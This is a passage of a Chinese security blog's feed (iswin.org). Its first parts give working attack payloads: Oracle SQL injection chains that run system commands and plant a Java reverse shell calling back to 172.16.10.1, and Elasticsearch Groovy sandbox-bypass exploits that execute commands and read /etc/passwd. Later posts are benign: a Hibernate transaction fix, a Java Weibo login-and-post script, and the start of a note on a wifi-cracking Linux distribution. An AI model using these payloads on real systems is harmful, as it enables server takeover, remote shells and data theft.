<h4 id="执行命令"><a href="#执行命令" class="headerlink" title="执行命令"></a>执行命令</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">select</span> sys.cmd(<span class="string">'cmd.exe /c whoami'</span>) <span class="keyword">from</span> dual) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span><span class="comment">--</span></span><br></pre></td></tr></table></figure>
<h3 id="反弹SHELL"><a href="#反弹SHELL" class="headerlink" title="反弹SHELL"></a>反弹SHELL</h3><h4 id="创建JAVA代码-1"><a href="#创建JAVA代码-1" class="headerlink" title="创建JAVA代码"></a>创建JAVA代码</h4><p>当执行命令没有什么太大的帮助时，我们可以反弹一个交互式的shell，这样会方便很多。<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">select</span> SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(<span class="string">'FOO'</span>,<span class="string">'BAR'</span>,<span class="string">'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell&#123;public static void run() throws Exception &#123;Socket s = new Socket("172.16.10.1", 80);Process p = Runtime.getRuntime().exec("cmd.exe");new T(p.getInputStream(), s.getOutputStream()).start();new T(p.getErrorStream(), s.getOutputStream()).start();new T(s.getInputStream(), p.getOutputStream()).start();&#125;static class T extends Thread &#123;private InputStream i;private OutputStream u;public T(InputStream in, OutputStream out) &#123;this.u = out;this.i = in;&#125;public void run() &#123;BufferedReader n = new BufferedReader(new InputStreamReader(i));BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));char f[] = new char[8192];int l;try &#123;while ((l = n.read(f, 0, f.length)) &gt; 0) &#123;w.write(f, 0, l);w.flush();&#125;&#125; catch (IOException e) &#123;&#125;try &#123;if (n != null)n.close();if (w != null)w.close();&#125; catch (Exception e) &#123;&#125;&#125;&#125;&#125;'''';END;'';END;--'</span>,<span class="string">'SYS'</span>,<span class="number">0</span>,<span class="string">'1'</span>,<span class="number">0</span>) <span class="keyword">from</span> dual) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span><span class="comment">--</span></span><br></pre></td></tr></table></figure></p>
<h4 id="赋予JAVA执行权限-1"><a href="#赋予JAVA执行权限-1" class="headerlink" title="赋予JAVA执行权限"></a>赋予JAVA执行权限</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">select</span> SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(<span class="string">'FOO'</span>,<span class="string">'BAR'</span>,<span class="string">'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''&lt;&gt;'''''''', ''''''''*'''''''' );end;'''';END;'';END;--'</span>,<span class="string">'SYS'</span>,<span class="number">0</span>,<span class="string">'1'</span>,<span class="number">0</span>) <span class="keyword">from</span> dual) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span><span class="comment">--</span></span><br></pre></td></tr></table></figure>
<h4 id="创建函数-1"><a href="#创建函数-1" class="headerlink" title="创建函数"></a>创建函数</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">select</span> SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(<span class="string">'FOO'</span>,<span class="string">'BAR'</span>,<span class="string">'DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--'</span>,<span class="string">'SYS'</span>,<span class="number">0</span>,<span class="string">'1'</span>,<span class="number">0</span>) <span class="keyword">from</span> dual) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span><span class="comment">--</span></span><br></pre></td></tr></table></figure>
<h4 id="赋予函数执行权限-1"><a href="#赋予函数执行权限-1" class="headerlink" title="赋予函数执行权限"></a>赋予函数执行权限</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">select</span> SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(<span class="string">'FOO'</span>,<span class="string">'BAR'</span>,<span class="string">'DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--'</span>,<span class="string">'SYS'</span>,<span class="number">0</span>,<span class="string">'1'</span>,<span class="number">0</span>) <span class="keyword">from</span> dual) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span><span class="comment">--</span></span><br></pre></td></tr></table></figure>
<h4 id="反弹SHELL-1"><a href="#反弹SHELL-1" class="headerlink" title="反弹SHELL"></a>反弹SHELL</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.iswin.org/oracle.jsp?name=' and (<span class="keyword">select</span> sys.reversetcp <span class="keyword">from</span> dual) <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">null</span><span class="comment">--</span></span><br></pre></td></tr></table></figure>
]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;本文主要讨论在得到一枚oracle注入点时，如何通过Oracle自带函数或者缺陷获取数据，权限提升以及获得系统权限。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id=&quot;数据获取&quot;&gt;&lt;a href=&quot;#数据获取&quot; class=&quot;headerlink
    
    </summary>
    
      <category term="ORACLE" scheme="https://www.iswin.org/categories/ORACLE/"/>
    
    
      <category term="JAVA" scheme="https://www.iswin.org/tags/JAVA/"/>
    
      <category term="ORACLE" scheme="https://www.iswin.org/tags/ORACLE/"/>
    
  </entry>
  
  <entry>
    <title>Elasticsearch Groovy 远程代码执行漏洞</title>
    <link href="https://www.iswin.org/2015/03/04/Elasticsearch-Groovy-remote-code-execution/"/>
    <id>https://www.iswin.org/2015/03/04/Elasticsearch-Groovy-remote-code-execution/</id>
    <published>2015-03-04T14:57:34.000Z</published>
    <updated>2017-01-23T17:22:41.000Z</updated>
    
    <content type="html"><![CDATA[<h3 id="致谢"><a href="#致谢" class="headerlink" title="致谢"></a>致谢</h3><p>首先感谢Wooyun社区<em>lupin</em>的对漏洞<a href="http://zone.wooyun.org/content/18894" target="_blank" rel="noopener">http://zone.wooyun.org/content/18894</a>的分析</p>
<h3 id="漏洞利用0x1"><a href="#漏洞利用0x1" class="headerlink" title="漏洞利用0x1"></a>漏洞利用0x1</h3><p>漏洞的成因是Groovy的白名单被绕过了，对常见的危险函数以及某些类做了限制，关于漏洞利用，我们只需要找到一个类能获取当前Class对象，这样的话也就是说可以用Java反射特性执行任意代码了，文中给出了<code>java.lang.Math</code>这个类，然后调用<code>java.lang.Math.class.forName(&#39;xx)</code>就可以执行Java代码了，这里我给出了一个命令执行的Exploit<br><a id="more"></a></p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="string">"size"</span>:<span class="number">1</span>,<span class="string">"script_fields"</span>: &#123;<span class="string">"iswin"</span>: &#123;<span class="string">"script"</span>:<span class="string">"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()"</span>,<span class="string">"lang"</span>: <span class="string">"groovy"</span>&#125;&#125;&#125;</span><br></pre></td></tr></table></figure>
<h3 id="漏洞利用0x2"><a href="#漏洞利用0x2" class="headerlink" title="漏洞利用0x2"></a>漏洞利用0x2</h3><p>上面的方法是利用java的反射特性来利用漏洞，这里既然是Groovy语言的远程代码执行，首先需要对Groovy语言有一点简单的认识。</p>
<blockquote>
<p>Groovy 是 JVM 的一个替代语言 —替代 是指可以用 Groovy 在 Java 平台上进行 Java 编程，使用方式基本与使用 Java 代码的方式相同。在编写新应用程序时，Groovy 代码能够与 Java 代码很好地结合，也能用于扩展现有代码。<br>Groovy 与 Java 语言的区别很大，Java 语言是一种固定类型语言。在 Groovy 中，类型是可选的，所以您不必输入 String myStr = “Hello”; 来声明 String 变量。<br>除此之外，Groovy 代码还能在运行时轻松地改变自己。这实际上意味着，能够在运行时轻松地为对象指定新方法和属性。</p>
</blockquote>
<p>也就是说Groovy有自己的语法规则，通过查询Groovy的相关API，发现就执行命令来说Groovy的String对象中有个<code>execute()</code>方法可以执行系统命令，也就是说如果我们能找到一个可以控制的String类型的变量，就可以执行任意命令了，很遗憾，如果直接<code>&quot;ipconfig&quot;.execute()</code>这样就触发了Groovy的的黑名单。<br>如果用反射，可以这样<code>this.class.toString().valueOf(&#39;whoami&#39;).execute().getText()</code>，即可完美实现，但是同过查阅<code>valueOf()</code>这个函数，发现只要是String类型的变量即可调用，通过查阅API发现Groovy的<code>dump()</code>函数返回类型是String，所以完美的远程命令执行Exploit就出来了<code>dump().valueOf(&#39;ifconfig&#39;).execute().text</code>。</p>
<h3 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h3><p>  [1] :<a href="http://www.ibm.com/developerworks/cn/education/java/j-groovy/j-groovy.html" target="_blank" rel="noopener">http://www.ibm.com/developerworks/cn/education/java/j-groovy/j-groovy.html</a></p>
<p>  [2] :<a href="http://zone.wooyun.org/content/18894" target="_blank" rel="noopener">http://zone.wooyun.org/content/18894</a></p>
]]></content>
    
    <summary type="html">
    
      &lt;h3 id=&quot;致谢&quot;&gt;&lt;a href=&quot;#致谢&quot; class=&quot;headerlink&quot; title=&quot;致谢&quot;&gt;&lt;/a&gt;致谢&lt;/h3&gt;&lt;p&gt;首先感谢Wooyun社区&lt;em&gt;lupin&lt;/em&gt;的对漏洞&lt;a href=&quot;http://zone.wooyun.org/content/18894&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://zone.wooyun.org/content/18894&lt;/a&gt;的分析&lt;/p&gt;
&lt;h3 id=&quot;漏洞利用0x1&quot;&gt;&lt;a href=&quot;#漏洞利用0x1&quot; class=&quot;headerlink&quot; title=&quot;漏洞利用0x1&quot;&gt;&lt;/a&gt;漏洞利用0x1&lt;/h3&gt;&lt;p&gt;漏洞的成因是Groovy的白名单被绕过了，对常见的危险函数以及某些类做了限制，关于漏洞利用，我们只需要找到一个类能获取当前Class对象，这样的话也就是说可以用Java反射特性执行任意代码了，文中给出了&lt;code&gt;java.lang.Math&lt;/code&gt;这个类，然后调用&lt;code&gt;java.lang.Math.class.forName(&amp;#39;xx)&lt;/code&gt;就可以执行Java代码了，这里我给出了一个命令执行的Exploit&lt;br&gt;
    
    </summary>
    
      <category term="JAVA" scheme="https://www.iswin.org/categories/JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>org.hibernate.HibernateException: Could not obtain transaction-synchronized Session for current thread</title>
    <link href="https://www.iswin.org/2015/03/04/org-hibernate-HibernateException-Could-not-obtain-transaction-synchronized-Session-for-current-thread/"/>
    <id>https://www.iswin.org/2015/03/04/org-hibernate-HibernateException-Could-not-obtain-transaction-synchronized-Session-for-current-thread/</id>
    <published>2015-03-04T10:16:09.000Z</published>
    <updated>2015-06-08T11:23:21.000Z</updated>
    
    <content type="html"><![CDATA[<p>今天在做一个小项目时用到了hibernate4和spring mvc 4.x，在做整合时一切都比较顺利，但是在测试hibernate插入数据时抛出了个异常<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">org.hibernate.HibernateException: Could not obtain transaction-synchronized Session for current thread</span><br></pre></td></tr></table></figure></p>
<p>查了相关资料发现是事务配置有问题，我一般比较习惯用声明式注解，所以就用了来配置了，调试了半天还是一样的错<br>误，实在是找不到错误在哪里，最后我用注解的方式开启了事务管理(@EnableTransactionManagement)，一切正常，看来真是事务的问题，实在是不知道哪里错了，就看了下官方的文档，发现这两种开启事务的方式的作用域范围。</p>
<p>@EnableTransactionManagement 和 tx:annotation-driven只查找在同一个application context中bean上面查找@Transactional，也就是说在采用注解开启事务管理里和Transactional在同一上下文当中，而在xml配置的时候把加载的顺序搞反了，正常的顺序应该是<context:component-scan ..>扫包完成bean的注册之后，tx:annotation-driven才会在spring注册的bean里面扫描@Transactional注解，而我恰恰把顺序给弄反了。</context:component-scan></p>
<p>正确地方式应该像这样：<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">context:annotation-config</span>/&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">context:component-scan</span> <span class="attr">base-package</span>=<span class="string">""</span>/&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">tx:annotation-driven</span> /&gt;</span></span><br></pre></td></tr></table></figure></p>
<p>###参考链接<br>  [1] : <a href="http://forum.spring.io/forum/spring-projects/web/80895-why-tx-annotation-driven-doesn-t-work-in-my-service-configuration-file" target="_blank" rel="noopener">http://forum.spring.io/forum/spring-projects/web/80895-why-tx-annotation-driven-doesn-t-work-in-my-service-configuration-file</a></p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;今天在做一个小项目时用到了hibernate4和spring mvc 4.x，在做整合时一切都比较顺利，但是在测试hibernate插入数据时抛出了个异常&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gu
    
    </summary>
    
      <category term="Spring" scheme="https://www.iswin.org/categories/Spring/"/>
    
    
  </entry>
  
  <entry>
    <title>JAVA模拟微博登录以及发微博</title>
    <link href="https://www.iswin.org/2015/01/15/JAVA-simulation-microblogging-login-and-microblogging/"/>
    <id>https://www.iswin.org/2015/01/15/JAVA-simulation-microblogging-login-and-microblogging/</id>
    <published>2015-01-14T16:28:25.000Z</published>
    <updated>2015-06-07T16:42:17.000Z</updated>
    
    <content type="html"><![CDATA[<blockquote>
<p>网上给的登陆新浪微博的例子过程都比较繁琐，抓包发现新浪有个接口只需要两步就可以完成，发出来大家分享下。</p>
</blockquote>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.iswin.weibo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.BufferedReader;</span><br><span class="line"><span class="keyword">import</span> java.io.DataOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStreamReader;</span><br><span class="line"><span class="keyword">import</span> java.net.HttpURLConnection;</span><br><span class="line"><span class="keyword">import</span> java.net.MalformedURLException;</span><br><span class="line"><span class="keyword">import</span> java.net.URL;</span><br><span class="line"><span class="keyword">import</span> java.net.URLEncoder;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.codec.binary.Base64;</span><br><span class="line"></span><br><span class="line"><span class="comment">/***</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@blog</span>   http://www.iswin.org</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> iswin</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Main</span> </span>&#123;</span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		System.err.println(<span class="string">"开始登陆，获取tiket"</span>);</span><br><span class="line">		<span class="comment">// 设置微博用户名以及密码</span></span><br><span class="line">		String ticket = requestAccessTicket(<span class="string">"weibo@iswin.org"</span>, <span class="string">"123456"</span>);</span><br><span class="line">		<span class="keyword">if</span> (ticket != <span class="string">"false"</span>) &#123;</span><br><span class="line">			System.err.println(<span class="string">"获取成功:"</span> + ticket);</span><br><span class="line">			System.err.println(<span class="string">"开始获取cookies"</span>);</span><br><span class="line">			String cookies = sendGetRequest(ticket, <span class="keyword">null</span>);</span><br><span class="line">			System.err.println(<span class="string">"cookies获取成功:"</span> + cookies);</span><br><span class="line">			System.err.println(<span class="string">"开始发送微博"</span>);</span><br><span class="line">			sendWeiBoMessage(<span class="string">"java robot by iswin"</span>, cookies);</span><br><span class="line">			System.err.println(<span class="string">"发送微博成功"</span>);</span><br><span class="line">		&#125; <span class="keyword">else</span></span><br><span class="line">			System.err.println(<span class="string">"ticket获取失败，请检查用户名或者密码是否正确!"</span>);</span><br><span class="line"></span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">sendGetRequest</span><span class="params">(String url, String cookies)</span></span></span><br><span class="line"><span class="function">			<span class="keyword">throws</span> MalformedURLException, IOException </span>&#123;</span><br><span class="line">		HttpURLConnection conn = (HttpURLConnection) <span class="keyword">new</span> URL(url)</span><br><span class="line">				.openConnection();</span><br><span class="line">		conn.setRequestProperty(<span class="string">"Cookie"</span>, cookies);</span><br><span class="line">		conn.setRequestProperty(<span class="string">"Referer"</span>,</span><br><span class="line">				<span class="string">"http://login.sina.com.cn/signup/signin.php?entry=sso"</span>);</span><br><span class="line">		conn.setRequestProperty(</span><br><span class="line">				<span class="string">"User-Agent"</span>,</span><br><span class="line">				<span class="string">"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0"</span>);</span><br><span class="line">		conn.setRequestProperty(<span class="string">"Content-Type"</span>,</span><br><span class="line">				<span class="string">"application/x-www-form-urlencoded"</span>);</span><br><span class="line">		BufferedReader read = <span class="keyword">new</span> BufferedReader(<span class="keyword">new</span> InputStreamReader(</span><br><span class="line">				conn.getInputStream(), <span class="string">"gbk"</span>));</span><br><span class="line">		String line = <span class="keyword">null</span>;</span><br><span class="line">		StringBuilder ret = <span class="keyword">new</span> StringBuilder();</span><br><span class="line">		<span class="keyword">while</span> ((line = read.readLine()) != <span class="keyword">null</span>) &#123;</span><br><span class="line">			ret.append(line).append(<span class="string">"\n"</span>);</span><br><span class="line">		&#125;</span><br><span class="line">		StringBuilder ck = <span class="keyword">new</span> StringBuilder();</span><br><span class="line">		<span class="keyword">try</span> &#123;</span><br><span class="line">			<span class="keyword">for</span> (String s : conn.getHeaderFields().get(<span class="string">"Set-Cookie"</span>)) &#123;</span><br><span class="line">				ck.append(s.split(<span class="string">";"</span>)[<span class="number">0</span>]).append(<span class="string">";"</span>);</span><br><span class="line">			&#125;</span><br><span class="line"></span><br><span class="line">		&#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">return</span> ck.toString();</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">requestAccessTicket</span><span class="params">(String username, String password)</span></span></span><br><span class="line"><span class="function">			<span class="keyword">throws</span> MalformedURLException, IOException </span>&#123;</span><br><span class="line">		username = Base64.encodeBase64String(username.replace(<span class="string">"@"</span>, <span class="string">"%40"</span>)</span><br><span class="line">				.getBytes());</span><br><span class="line">		HttpURLConnection conn = (HttpURLConnection) <span class="keyword">new</span> URL(</span><br><span class="line">				<span class="string">"https://login.sina.com.cn/sso/login.php?client=ssologin.js(v1.4.15)"</span>)</span><br><span class="line">				.openConnection();</span><br><span class="line">		conn.setDoInput(<span class="keyword">true</span>);</span><br><span class="line">		conn.setDoOutput(<span class="keyword">true</span>);</span><br><span class="line">		conn.setRequestMethod(<span class="string">"POST"</span>);</span><br><span class="line">		conn.setRequestProperty(<span class="string">"Referer"</span>,</span><br><span class="line">				<span class="string">"http://login.sina.com.cn/signup/signin.php?entry=sso"</span>);</span><br><span class="line">		conn.setRequestProperty(</span><br><span class="line">				<span class="string">"User-Agent"</span>,</span><br><span class="line">				<span class="string">"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0"</span>);</span><br><span class="line">		conn.setRequestProperty(<span class="string">"Content-Type"</span>,</span><br><span class="line">				<span class="string">"application/x-www-form-urlencoded"</span>);</span><br><span class="line">		DataOutputStream out = <span class="keyword">new</span> DataOutputStream(conn.getOutputStream());</span><br><span class="line">		out.writeBytes(String</span><br><span class="line">				.format(<span class="string">"entry=sso&amp;gateway=1&amp;from=null&amp;savestate=30&amp;useticket=0&amp;pagerefer=&amp;vsnf=1&amp;su=%s&amp;service=sso&amp;sp=%s&amp;sr=1280*800&amp;encoding=UTF-8&amp;cdult=3&amp;domain=sina.com.cn&amp;prelt=0&amp;returntype=TEXT"</span>,</span><br><span class="line">						URLEncoder.encode(username), password));</span><br><span class="line">		out.flush();</span><br><span class="line">		out.close();</span><br><span class="line">		BufferedReader read = <span class="keyword">new</span> BufferedReader(<span class="keyword">new</span> InputStreamReader(</span><br><span class="line">				conn.getInputStream(), <span class="string">"gbk"</span>));</span><br><span class="line">		String line = <span class="keyword">null</span>;</span><br><span class="line">		StringBuilder ret = <span class="keyword">new</span> StringBuilder();</span><br><span class="line">		<span class="keyword">while</span> ((line = read.readLine()) != <span class="keyword">null</span>) &#123;</span><br><span class="line">			ret.append(line).append(<span class="string">"\n"</span>);</span><br><span class="line">		&#125;</span><br><span class="line">		String res = <span class="keyword">null</span>;</span><br><span class="line">		<span class="keyword">try</span> &#123;</span><br><span class="line">			res = ret.substring(ret.indexOf(<span class="string">"https:"</span>),</span><br><span class="line">					ret.indexOf(<span class="string">",\"https:"</span>) - <span class="number">1</span>).replace(<span class="string">"\\"</span>, <span class="string">""</span>);</span><br><span class="line">		&#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">			res = <span class="string">"false"</span>;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">return</span> res;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="meta">@SuppressWarnings</span>(<span class="string">"deprecation"</span>)</span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">sendWeiBoMessage</span><span class="params">(String message, String cookies)</span></span></span><br><span class="line"><span class="function">			<span class="keyword">throws</span> MalformedURLException, IOException </span>&#123;</span><br><span class="line">		HttpURLConnection conn = (HttpURLConnection) <span class="keyword">new</span> URL(</span><br><span class="line">				<span class="string">"http://www.weibo.com/aj/mblog/add?ajwvr=6"</span>).openConnection();</span><br><span class="line">		conn.setDoInput(<span class="keyword">true</span>);</span><br><span class="line">		conn.setDoOutput(<span class="keyword">true</span>);</span><br><span class="line">		conn.setRequestMethod(<span class="string">"POST"</span>);</span><br><span class="line">		conn.setRequestProperty(<span class="string">"Cookie"</span>, cookies);</span><br><span class="line">		conn.setRequestProperty(<span class="string">"Referer"</span>,</span><br><span class="line">				<span class="string">"http://www.weibo.com/u/2955825224/home?topnav=1&amp;wvr=6"</span>);</span><br><span class="line">		conn.setRequestProperty(<span class="string">"X-Requested-With"</span>, <span class="string">"XMLHttpRequest"</span>);</span><br><span class="line">		conn.setRequestProperty(</span><br><span class="line">				<span class="string">"User-Agent"</span>,</span><br><span class="line">				<span class="string">"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0"</span>);</span><br><span class="line">		conn.setRequestProperty(<span class="string">"Content-Type"</span>,</span><br><span class="line">				<span class="string">"application/x-www-form-urlencoded"</span>);</span><br><span class="line">		DataOutputStream out = <span class="keyword">new</span> DataOutputStream(conn.getOutputStream());</span><br><span class="line">		out.writeBytes(<span class="string">"location=v6_content_home&amp;appkey=&amp;style_type=1&amp;pic_id=&amp;text="</span></span><br><span class="line">				+ URLEncoder.encode(message)</span><br><span class="line">				+ <span class="string">"&amp;pdetail=&amp;rank=0&amp;rankid=&amp;module=stissue&amp;pub_type=dialog&amp;_t=0"</span>);</span><br><span class="line">		out.flush();</span><br><span class="line">		out.close();</span><br><span class="line">		BufferedReader read = <span class="keyword">new</span> BufferedReader(<span class="keyword">new</span> InputStreamReader(</span><br><span class="line">				conn.getInputStream(), <span class="string">"gbk"</span>));</span><br><span class="line">		String line = <span class="keyword">null</span>;</span><br><span class="line">		StringBuilder ret = <span class="keyword">new</span> StringBuilder();</span><br><span class="line">		<span class="keyword">while</span> ((line = read.readLine()) != <span class="keyword">null</span>) &#123;</span><br><span class="line">			ret.append(line).append(<span class="string">"\n"</span>);</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">return</span> ret.toString();</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;网上给的登陆新浪微博的例子过程都比较繁琐，抓包发现新浪有个接口只需要两步就可以完成，发出来大家分享下。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure class=&quot;highlight java&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;g
    
    </summary>
    
      <category term="JAVA" scheme="https://www.iswin.org/categories/JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>Cdlinux U盘启动</title>
    <link href="https://www.iswin.org/2014/11/29/U-Dish-Cdlinux-boot/"/>
    <id>https://www.iswin.org/2014/11/29/U-Dish-Cdlinux-boot/</id>
    <published>2014-11-29T13:48:10.000Z</published>
    <updated>2017-01-23T17:20:49.000Z</updated>
    
    <content type="html"><![CDATA[<blockquote>
<p>CDlinux是破解无线wifi信号的很好用的系统。它就像一个PE，不过它是基于Linux内核的微型系统。里面的破解工具很齐全，既有传统的抓包工具，也有最新的PIN码破解软件，而且针对windows用户的使用习惯进行了界面优化，所以使用起来会很方便。</p>
</blockquote>
